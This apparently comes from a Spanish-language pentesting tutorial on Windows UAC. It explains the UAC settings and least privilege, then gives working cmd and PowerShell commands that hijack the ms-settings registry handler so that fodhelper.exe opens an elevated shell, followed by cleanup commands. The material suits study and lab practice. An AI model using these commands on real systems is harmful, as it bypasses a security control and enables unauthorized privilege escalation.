UAC bypass

Windows Privilege Escalation

UAC son las siglas de Control de Cuentas de Usuario (User Access Control), es una función de seguridad de Windows que protege el sistema contra cambios no autorizados. Cuando una aplicación o acción requiere permisos de administrador, el UAC solicita al usuario que apruebe o deniegue el cambio. Esto limita el riesgo de que software malintencionado o modificaciones no autorizadas afecten al equipo, ya que todo requiere permiso del usuario.

El UAC cuenta con varias configuraciones (incluyendo la que contiene por defecto, siendo la mas factible), cada una cuenta con un nivel de control y prevención diferente:

  • Notificarme Siempre: notifica todas las aplicaciones que intenten instalar otras aplicaciones, realizar cambios en el equipo, y cambios de configuración manuales (hechos por ti), también congela las tareas antes de continuar, obligándote a dar una respuesta.

  • Notificarme solamente cuando una aplicación intente realizar cambios en el equipo (por defecto): igual que el anterior, solo no congela la actividad cuando tu haces cambios manuales.

  • Notificarme solo cuando una aplicación intente realizar cambios en el equipo (no atenuar el escritorio): te avisa cuando otros programas intentan instalar aplicaciones o realizan cambios en el equipo, pero no cuando haces un cambio manual. es casi igual que el anterior con la diferencia de que al lanzar la advertencia no congela las actividades.

  • No notificarme nunca: desactiva el UAC, lo que implica no recibir ninguna advertencia (menos seguro obviamente).

El UAC trabaja bajo la idea de ejecución con privilegios mínimos, con esto nos referimos a que el UAC permite que los usuarios estándar realicen tareas diarias sin problemas, pero exige que los administradores obtengan una aprobación de nivel superior para las tareas administrativas, promoviendo así el principio de privilegios mínimos.

El principio de privilegios mínimos (PoLP, por sus siglas en inglés) es una práctica de ciberseguridad que establece que a cada usuario, sistema o proceso se le debe otorgar solo el nivel de acceso mínimo necesario para realizar sus funciones, ni más ni menos. Esta política reduce el impacto potencial de las violaciones de seguridad al limitar el daño que un actor malintencionado o una cuenta comprometida podría causar al tener un acceso restringido solo a los datos y recursos esenciales.

Bypass de UAC por ejecutables legítimos

Manipulación del Registro

en el sistema ciertas aplicaciones son consideradas "confiables" y se pueden ejecutar sin que aparezca un prompt del UAC, en este caso pondremos de ejemplo fodhelper.exe. las instrucciones que veremos a continuación hacen que cuando alguien abra ms-settings (protocol handler de windows), ejecuta cmd.exe en su lugar (asociación de archivo falsa) y esto hace que si ejecutamos fodhelper.exe (el cual intenta abrir ms-settings como parte de su funcionamiento normal) El sistema busca en el registro qué ejecutar para ms-settings donde encontrara nuestro comando en HKCU que tiene prioridad sobre HKLM, esto desencadena la ejecución de cmd.exe con los mismos privilegios de fodhelper (elevados). al secuestrar la asociación (protocol handler) se nos proporcionan los privilegios que debería tener la asociación real.

# Crear la estructura en el registro
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f

# Ejecutar el bypass
fodhelper.exe
# Crear estructura de registro
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /k whoami"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value ""

# Ejecutar
Start-Process "fodhelper.exe"

HKCU (HKEY_CURRENT_USER) es una clave del Registro de Windows que contiene la configuración específica del usuario que ha iniciado sesión en el sistema. Incluye datos como las carpetas del usuario, el color de la pantalla, las preferencias del Panel de Control y las configuraciones de aplicaciones que son únicas para ese perfil de usuario.

HKLM significa HKEY_LOCAL_MACHINE, una colmena o subárbol principal del registro de Windows. Esta sección almacena información de configuración de hardware, software y del sistema operativo para el equipo local. Es una base de datos que el sistema utiliza para almacenar configuraciones y opciones esenciales.

Revertir cambios

# Eliminar las claves creadas
reg delete "HKCU\Software\Classes\ms-settings" /f

# O desde PowerShell
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force

Last updated